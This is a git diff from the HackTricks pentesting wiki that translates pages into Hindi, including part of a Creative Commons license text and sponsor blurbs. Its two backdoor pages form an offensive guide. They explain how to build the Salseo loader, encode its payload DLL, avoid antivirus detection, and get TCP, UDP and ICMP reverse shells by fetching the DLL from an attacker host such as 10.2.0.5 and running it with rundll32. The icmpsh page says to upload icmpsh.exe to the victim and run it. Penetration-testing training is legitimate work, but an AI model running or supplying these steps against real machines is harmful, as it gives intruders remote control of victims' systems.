+3. यदि लाइसेंस देने वाले द्वारा अनुरोध किया गया, तो आपको अनुभाग 3(a)(1)(A) द्वारा आवश्यक किसी भी जानकारी को यथासंभव व्यावहारिक रूप से हटाना चाहिए। -4. यदि आप साझा करते हैं Adapted Material जो आप उत्पन्न करते हैं, तो आप जो Adapter's License लागू करते हैं वह Adapted Material के प्राप्तकर्ताओं को इस Public License का पालन करने से रोकना नहीं चाहिए। +4. यदि आप साझा करते हैं अनुकूलित सामग्री जो आप उत्पन्न करते हैं, तो आप जो एडाप्टर का लाइसेंस लागू करते हैं वह अनुकूलित सामग्री के प्राप्तकर्ताओं को इस सार्वजनिक लाइसेंस का पालन करने से नहीं रोकना चाहिए। -## Section 4 – Sui Generis Database Rights. +## अनुभाग 4 – Sui Generis Database Rights। -जहाँ लाइसेंस प्राप्त अधिकारों में Sui Generis Database Rights शामिल हैं जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होते हैं: +जहां लाइसेंस प्राप्त अधिकारों में Sui Generis Database Rights शामिल हैं जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होते हैं: -a. संदेह से बचने के लिए, धारा 2(a)(1) आपको लाइसेंस प्राप्त सामग्री के सभी या एक महत्वपूर्ण भाग की सामग्री को केवल NonCommercial उद्देश्यों के लिए निकालने, पुन: उपयोग करने, पुनरुत्पादित करने, और साझा करने का अधिकार देती है; +a. संदेह से बचने के लिए, अनुभाग 2(a)(1) आपको केवल गैर-व्यावसायिक उद्देश्यों के लिए डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री को निकालने, पुन: उपयोग करने, पुनरुत्पादित करने, और साझा करने का अधिकार देता है; -b. यदि आप अपने Sui Generis Database Rights वाले डेटाबेस में सभी या एक महत्वपूर्ण भाग की सामग्री शामिल करते हैं, तो जिस डेटाबेस में आपके पास Sui Generis Database Rights हैं (लेकिन इसकी व्यक्तिगत सामग्री नहीं) वह Adapted Material है; और +b. यदि आप अपने Sui Generis Database Rights वाले डेटाबेस में डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री शामिल करते हैं, तो आप जिस डेटाबेस में Sui Generis Database Rights रखते हैं (लेकिन इसकी व्यक्तिगत सामग्री नहीं) वह अनुकूलित सामग्री है; और -c. यदि आप डेटाबेस की सभी या एक महत्वपूर्ण भाग की सामग्री साझा करते हैं, तो आपको धारा 3(a) में शर्तों का पालन करना चाहिए। +c. यदि आप डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री साझा करते हैं, तो आपको अनुभाग 3(a) में शर्तों का पालन करना चाहिए। -संदेह से बचने के लिए, यह धारा 4 आपके इस Public License के तहत अन्य कॉपीराइट और समान अधिकारों के तहत आपके दायित्वों को पूरक करती है और प्रतिस्थापित नहीं करती है। +संदेह से बचने के लिए, यह अनुभाग 4 आपके इस सार्वजनिक लाइसेंस के तहत अन्य कॉपीराइट और समान अधिकारों के तहत आपके दायित्वों को पूरक करता है और प्रतिस्थापित नहीं करता है। -## Section 5 – Disclaimer of Warranties and Limitation of Liability. +## अनुभाग 5 – वारंटी का अस्वीकरण और जिम्मेदारी की सीमा। -a. **जब तक लाइसेंसधारक द्वारा अलग से Undertaken न किया गया हो, यथासंभव, लाइसेंसधारक लाइसेंस प्राप्त सामग्री को जैसा है और उपलब्ध के रूप में प्रदान करता है, और लाइसेंस प्राप्त सामग्री के बारे में किसी भी प्रकार की कोई भी प्रस्तुति या वारंटी नहीं देता है, चाहे वह स्पष्ट, निहित, वैधानिक, या अन्य हो। इसमें, बिना किसी सीमा के, शीर्षक, व्यापारिकता, विशेष उद्देश्य के लिए उपयुक्तता, गैर-उल्लंघन, छिपे हुए या अन्य दोषों की अनुपस्थिति, सटीकता, या त्रुटियों की उपस्थिति या अनुपस्थिति, चाहे ज्ञात हो या खोजी जा सकें, शामिल हैं। जहाँ वारंटी के अस्वीकरण पूरी या आंशिक रूप से अनुमति नहीं है, यह अस्वीकरण आपके लिए लागू नहीं हो सकता है।** +a. **जब तक लाइसेंस देने वाले द्वारा अलग से Undertaken न किया गया हो, यथासंभव, लाइसेंस देने वाला लाइसेंस प्राप्त सामग्री को जैसा है और उपलब्ध है, और लाइसेंस प्राप्त सामग्री के बारे में किसी भी प्रकार की कोई प्रतिनिधित्व या वारंटी नहीं देता है, चाहे वह स्पष्ट, निहित, वैधानिक, या अन्य हो। इसमें, बिना किसी सीमा के, शीर्षक, व्यापारिकता, विशेष उद्देश्य के लिए उपयुक्तता, गैर-उल्लंघन, छिपे हुए या अन्य दोषों की अनुपस्थिति, सटीकता, या त्रुटियों की उपस्थिति या अनुपस्थिति, चाहे ज्ञात हो या खोजी जा सकें, की वारंटी शामिल है। जहां वारंटी के अस्वीकरण को पूरी तरह से या आंशिक रूप से अनुमति नहीं दी जाती है, यह अस्वीकरण आपके लिए लागू नहीं हो सकता है।** -b. **यथासंभव, किसी भी कानूनी सिद्धांत (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा, लाइसेंसधारक आपके लिए किसी भी प्रत्यक्ष, विशेष, अप्रत्यक्ष, आकस्मिक, परिणामी, दंडात्मक, उदाहरणात्मक, या अन्य हानियों, लागतों, व्यय, या नुकसान के लिए जिम्मेदार नहीं होगा जो इस Public License या लाइसेंस प्राप्त सामग्री के उपयोग से उत्पन्न होते हैं, भले ही लाइसेंसधारक को ऐसे नुकसान, लागत, व्यय, या हानियों की संभावना के बारे में सूचित किया गया हो। जहाँ जिम्मेदारी की सीमा पूरी या आंशिक रूप से अनुमति नहीं है, यह सीमा आपके लिए लागू नहीं हो सकती है।** +b. **यथासंभव, किसी भी कानूनी सिद्धांत (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा के तहत, लाइसेंस देने वाला किसी भी स्थिति में आपके प्रति जिम्मेदार नहीं होगा (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा इस सार्वजनिक लाइसेंस या लाइसेंस प्राप्त सामग्री के उपयोग से उत्पन्न किसी भी प्रत्यक्ष, विशेष, अप्रत्यक्ष, आकस्मिक, परिणामी, दंडात्मक, उदाहरणात्मक, या अन्य हानियों, लागतों, व्यय, या क्षति के लिए, भले ही लाइसेंस देने वाले को ऐसे हानियों, लागतों, व्यय, या क्षति की संभावना के बारे में सूचित किया गया हो। जहां जिम्मेदारी की सीमा को पूरी तरह से या आंशिक रूप से अनुमति नहीं दी जाती है, यह सीमा आपके लिए लागू नहीं हो सकती है।** -c. उपरोक्त प्रदान किया गया वारंटी का अस्वीकरण और जिम्मेदारी की सीमा इस प्रकार व्याख्यायित की जाएगी कि, यथासंभव, यह सभी जिम्मेदारी का एक पूर्ण अस्वीकरण और परित्याग के सबसे निकटतम रूप में हो। +c. उपरोक्त प्रदान किया गया वारंटी का अस्वीकरण और जिम्मेदारी की सीमा इस तरह से व्याख्यायित की जाएगी कि, यथासंभव, यह सभी जिम्मेदारी का एक पूर्ण अस्वीकरण और माफी के सबसे निकटतम रूप में हो। -## Section 6 – Term and Termination. +## अनुभाग 6 – अवधि और समाप्ति। -a. यह Public License यहाँ लाइसेंस प्राप्त कॉपीराइट और समान अधिकारों की अवधि के लिए लागू होता है। हालाँकि, यदि आप इस Public License का पालन करने में विफल रहते हैं, तो इस Public License के तहत आपके अधिकार स्वचालित रूप से समाप्त हो जाते हैं। +a. यह सार्वजनिक लाइसेंस यहाँ लाइसेंस प्राप्त कॉपीराइट और समान अधिकारों की अवधि के लिए लागू होता है। हालाँकि, यदि आप इस सार्वजनिक लाइसेंस का पालन करने में विफल रहते हैं, तो आपके अधिकार इस सार्वजनिक लाइसेंस के तहत स्वचालित रूप से समाप्त हो जाते हैं। -b. जहाँ आपके लाइसेंस प्राप्त सामग्री का उपयोग करने का अधिकार धारा 6(a) के तहत समाप्त हो गया है, यह पुनर्स्थापित होता है: +b. जहां आपके लाइसेंस प्राप्त सामग्री का उपयोग करने का अधिकार अनुभाग 6(a) के तहत समाप्त हो गया है, यह पुनर्स्थापित होता है: -1. स्वचालित रूप से उस दिन से जब उल्लंघन को ठीक किया गया, बशर्ते कि यह आपके उल्लंघन की खोज के 30 दिनों के भीतर ठीक किया गया हो; या +1. स्वचालित रूप से उस दिन से जब उल्लंघन को ठीक किया जाता है, बशर्ते कि यह आपके उल्लंघन की खोज के 30 दिनों के भीतर ठीक किया जाए; या -2. लाइसेंसधारक द्वारा स्पष्ट पुनर्स्थापना पर। +2. लाइसेंस देने वाले द्वारा स्पष्ट पुनर्स्थापन पर। -संदेह से बचने के लिए, यह धारा 6(b) लाइसेंसधारक के आपके इस Public License के उल्लंघनों के लिए उपचार की मांग करने के किसी भी अधिकार को प्रभावित नहीं करती है। +संदेह से बचने के लिए, यह अनुभाग 6(b) आपके इस सार्वजनिक लाइसेंस के उल्लंघनों के लिए उपायों की मांग करने के लिए लाइसेंस देने वाले के किसी भी अधिकार को प्रभावित नहीं करता है। -c. संदेह से बचने के लिए, लाइसेंसधारक किसी भी समय अलग शर्तों या शर्तों के तहत लाइसेंस प्राप्त सामग्री की पेशकश कर सकता है या लाइसेंस प्राप्त सामग्री का वितरण बंद कर सकता है; हालाँकि, ऐसा करने से इस Public License की समाप्ति नहीं होगी। +c. संदेह से बचने के लिए, लाइसेंस देने वाला किसी भी समय अलग शर्तों या शर्तों के तहत लाइसेंस प्राप्त सामग्री की पेशकश कर सकता है या लाइसेंस प्राप्त सामग्री का वितरण बंद कर सकता है; हालाँकि, ऐसा करने से इस सार्वजनिक लाइसेंस की समाप्ति नहीं होगी। -d. धारा 1, 5, 6, 7, और 8 इस Public License की समाप्ति के बाद भी जीवित रहती हैं। +d. अनुभाग 1, 5, 6, 7, और 8 इस सार्वजनिक लाइसेंस की समाप्ति के बाद भी जीवित रहते हैं। -## Section 7 – Other Terms and Conditions. +## अनुभाग 7 – अन्य शर्तें और शर्तें। -a. लाइसेंसधारक किसी भी अतिरिक्त या भिन्न शर्तों या शर्तों से बंधा नहीं होगा जो आप द्वारा संप्रेषित की गई हैं जब तक कि स्पष्ट रूप से सहमति न दी गई हो। +a. लाइसेंस देने वाला किसी भी अतिरिक्त या भिन्न शर्तों या शर्तों से बंधा नहीं होगा जो आप द्वारा संप्रेषित की गई हैं जब तक कि स्पष्ट रूप से सहमति न दी गई हो। -b. लाइसेंस प्राप्त सामग्री के संबंध में यहाँ उल्लिखित कोई भी व्यवस्था, समझौते, या सहमतियाँ इस Public License की शर्तों और शर्तों से अलग और स्वतंत्र हैं। +b. लाइसेंस प्राप्त सामग्री के संबंध में यहां उल्लिखित कोई भी व्यवस्था, समझौते, या सहमतियाँ इस सार्वजनिक लाइसेंस की शर्तों और शर्तों से अलग और स्वतंत्र हैं। -## Section 8 – Interpretation. +## अनुभाग 8 – व्याख्या। -a. संदेह से बचने के लिए, यह Public License किसी भी उपयोग को कम नहीं करता है, सीमित नहीं करता है, प्रतिबंधित नहीं करता है, या लाइसेंस प्राप्त सामग्री के किसी भी उपयोग पर शर्तें नहीं लगाता है जो इस Public License के तहत अनुमति के बिना वैध रूप से किया जा सकता है। +a. संदेह से बचने के लिए, यह सार्वजनिक लाइसेंस किसी भी उपयोग को कम नहीं करता है, सीमित नहीं करता है, प्रतिबंधित नहीं करता है, या इस सार्वजनिक लाइसेंस के तहत अनुमति के बिना लाइसेंस प्राप्त सामग्री के किसी भी उपयोग पर शर्तें नहीं लगाता है। -b. यथासंभव, यदि इस Public License का कोई प्रावधान लागू नहीं किया जा सकता है, तो इसे लागू करने के लिए आवश्यक न्यूनतम सीमा तक स्वचालित रूप से सुधारित किया जाएगा। यदि प्रावधान को सुधारित नहीं किया जा सकता है, तो इसे इस Public License से अलग किया जाएगा बिना शेष शर्तों और शर्तों की लागूता को प्रभावित किए। +b. यथासंभव, यदि इस सार्वजनिक लाइसेंस का कोई प्रावधान लागू नहीं किया गया है, तो इसे लागू करने के लिए आवश्यक न्यूनतम सीमा तक स्वचालित रूप से सुधारित किया जाएगा। यदि प्रावधान को सुधारित नहीं किया जा सकता है, तो इसे इस सार्वजनिक लाइसेंस से अलग किया जाएगा बिना शेष शर्तों और शर्तों की लागूता को प्रभावित किए। -c. इस Public License की कोई भी शर्त या शर्त माफ नहीं की जाएगी और अनुपालन की कोई विफलता सहमति नहीं दी जाएगी जब तक कि लाइसेंसधारक द्वारा स्पष्ट रूप से सहमति न दी गई हो। +c. इस सार्वजनिक लाइसेंस की कोई भी शर्त या स्थिति माफ नहीं की जाएगी और अनुपालन की कोई विफलता सहमति नहीं दी जाएगी जब तक कि लाइसेंस देने वाले द्वारा स्पष्ट रूप से सहमति न दी गई हो। -d. इस Public License में कुछ भी लाइसेंसधारक या आपके लिए लागू होने वाले किसी भी विशेषाधिकार और छूटों पर एक सीमा या परित्याग के रूप में स्थापित नहीं करता है, जिसमें किसी भी क्षेत्राधिकार या प्राधिकरण की कानूनी प्रक्रियाओं से छूट शामिल है। +d. इस सार्वजनिक लाइसेंस में कुछ भी लाइसेंस देने वाले या आपके लिए लागू होने वाले किसी भी विशेषाधिकार और छूटों पर कोई सीमा या माफी नहीं बनाता है, जिसमें किसी भी क्षेत्राधिकार या प्राधिकरण की कानूनी प्रक्रियाओं से छूट शामिल है। ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. diff --git a/src/README.md b/src/README.md index 05569b432..ce36259e0 100644 --- a/src/README.md +++ b/src/README.md @@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है। +[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है। {% embed url="https://www.rootedcon.com/" %} @@ -94,7 +94,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं। +**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं। SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\ अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं। @@ -123,9 +123,9 @@ SerpApi की योजनाओं में से एक की सदस् WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ। -WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं! +WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं! -इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।** +इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है। {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..642b2e0ef 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +बैकडोर डाउनलोड करें: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# क्लाइंट साइड -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +स्क्रिप्ट चलाएँ: **run.sh** +**यदि आपको कुछ त्रुटि मिलती है, तो पंक्तियों को बदलने की कोशिश करें:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**के लिए:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **पीड़ित पक्ष** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +**icmpsh.exe** को पीड़ित पर अपलोड करें और निष्पादित करें: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..37c3c041f 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## बाइनरी संकलन -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +गिटहब से स्रोत कोड डाउनलोड करें और **EvilSalsa** और **SalseoLoader** संकलित करें। आपको कोड संकलित करने के लिए **Visual Studio** स्थापित करने की आवश्यकता होगी। -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +उन परियोजनाओं को उस विंडोज बॉक्स की आर्किटेक्चर के लिए संकलित करें जहाँ आप उनका उपयोग करने जा रहे हैं (यदि विंडोज x64 का समर्थन करता है तो उन्हें उस आर्किटेक्चर के लिए संकलित करें)। -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +आप **Visual Studio** में **बाएं "Build" टैब** में **"Platform Target"** के अंदर **आर्किटेक्चर का चयन** कर सकते हैं। -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*यदि आप ये विकल्प नहीं ढूंढ पा रहे हैं तो **"Project Tab"** पर क्लिक करें और फिर **"\ Properties"** पर क्लिक करें) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +फिर, दोनों परियोजनाओं का निर्माण करें (Build -> Build Solution) (लॉग के अंदर निष्पादन योग्य का पथ दिखाई देगा): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## बैकडोर तैयार करें -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +सबसे पहले, आपको **EvilSalsa.dll** को एन्कोड करने की आवश्यकता होगी। ऐसा करने के लिए, आप पायथन स्क्रिप्ट **encrypterassembly.py** का उपयोग कर सकते हैं या आप परियोजना **EncrypterAssembly** को संकलित कर सकते हैं: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - -### Windows - +### विंडोज ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +ठीक है, अब आपके पास Salseo चीज़ों को निष्पादित करने के लिए सब कुछ है: **encoded EvilDalsa.dll** और **SalseoLoader का बाइनरी।** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**SalseoLoader.exe बाइनरी को मशीन पर अपलोड करें। उन्हें किसी भी AV द्वारा नहीं पहचाना जाना चाहिए...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **बैकडोर निष्पादित करें** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **TCP रिवर्स शेल प्राप्त करना (HTTP के माध्यम से encoded dll डाउनलोड करना)** +याद रखें कि रिवर्स शेल लिस्नर के रूप में nc शुरू करें और encoded evilsalsa को सर्व करने के लिए एक HTTP सर्वर शुरू करें। ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **UDP रिवर्स शेल प्राप्त करना (SMB के माध्यम से एन्कोडेड dll डाउनलोड करना)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +याद रखें कि रिवर्स शेल लिस्नर के रूप में एक nc शुरू करें, और एन्कोडेड evilsalsa (impacket-smbserver) को सर्व करने के लिए एक SMB सर्वर शुरू करें। ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **ICMP रिवर्स शेल प्राप्त करना (विक्टिम के अंदर पहले से एन्कोडेड dll)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**इस बार आपको क्लाइंट में रिवर्स शेल प्राप्त करने के लिए एक विशेष उपकरण की आवश्यकता है। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **ICMP उत्तर बंद करें:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### क्लाइंट को निष्पादित करें: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### पीड़ित के अंदर, चलो salseo चीज़ को निष्पादित करते हैं: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## SalseoLoader को DLL के रूप में संकलित करना जो मुख्य फ़ंक्शन को निर्यात करता है -## Compiling SalseoLoader as DLL exporting main function +Visual Studio का उपयोग करके SalseoLoader प्रोजेक्ट खोलें। -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### मुख्य फ़ंक्शन से पहले जोड़ें: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### इस प्रोजेक्ट के लिए DllExport स्थापित करें #### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **DllExport पैकेज के लिए खोजें (Browse टैब का उपयोग करते हुए), और Install दबाएं (और पॉपअप को स्वीकार करें)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +आपके प्रोजेक्ट फ़ोल्डर में फ़ाइलें प्रकट हुई हैं: **DllExport.bat** और **DllExport_Configure.bat** ### **U**ninstall DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +**Uninstall** दबाएं (हाँ, यह अजीब है लेकिन मुझ पर विश्वास करें, यह आवश्यक है) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Visual Studio से बाहर निकलें और DllExport_configure निष्पादित करें** -Just **exit** Visual Studio +बस **बाहर निकलें** Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +फिर, अपने **SalseoLoader फ़ोल्डर** में जाएं और **DllExport_Configure.bat** निष्पादित करें -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +**x64** चुनें (यदि आप इसे x64 बॉक्स के अंदर उपयोग करने जा रहे हैं, तो यह मेरा मामला था), **System.Runtime.InteropServices** चुनें ( **DllExport के लिए Namespace** के अंदर) और **Apply** दबाएं ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Visual Studio के साथ प्रोजेक्ट फिर से खोलें** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** अब त्रुटि के रूप में चिह्नित नहीं होना चाहिए ![](<../images/image (8) (1).png>) -### Build the solution +### समाधान का निर्माण करें -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +**Output Type = Class Library** चुनें (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +**x64** **प्लेटफ़ॉर्म** चुनें (Project --> SalseoLoader Properties --> Build --> Platform target = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +**समाधान** का निर्माण करने के लिए: Build --> Build Solution (Output कंसोल के अंदर नए DLL का पथ दिखाई देगा) -### Test the generated Dll +### उत्पन्न Dll का परीक्षण करें -Copy and paste the Dll where you want to test it. - -Execute: +Dll को कॉपी और पेस्ट करें जहाँ आप इसका परीक्षण करना चाहते हैं। +निष्पादित करें: ``` rundll32.exe SalseoLoader.dll,main ``` +यदि कोई त्रुटि नहीं आती है, तो शायद आपके पास एक कार्यात्मक DLL है!! -If no error appears, probably you have a functional DLL!! +## DLL का उपयोग करके एक शेल प्राप्त करें -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** - -### Powershell +**HTTP** **सर्वर** का उपयोग करना न भूलें और एक **nc** **श्रोता** सेट करें +### पॉवरशेल ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..6f4407c57 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
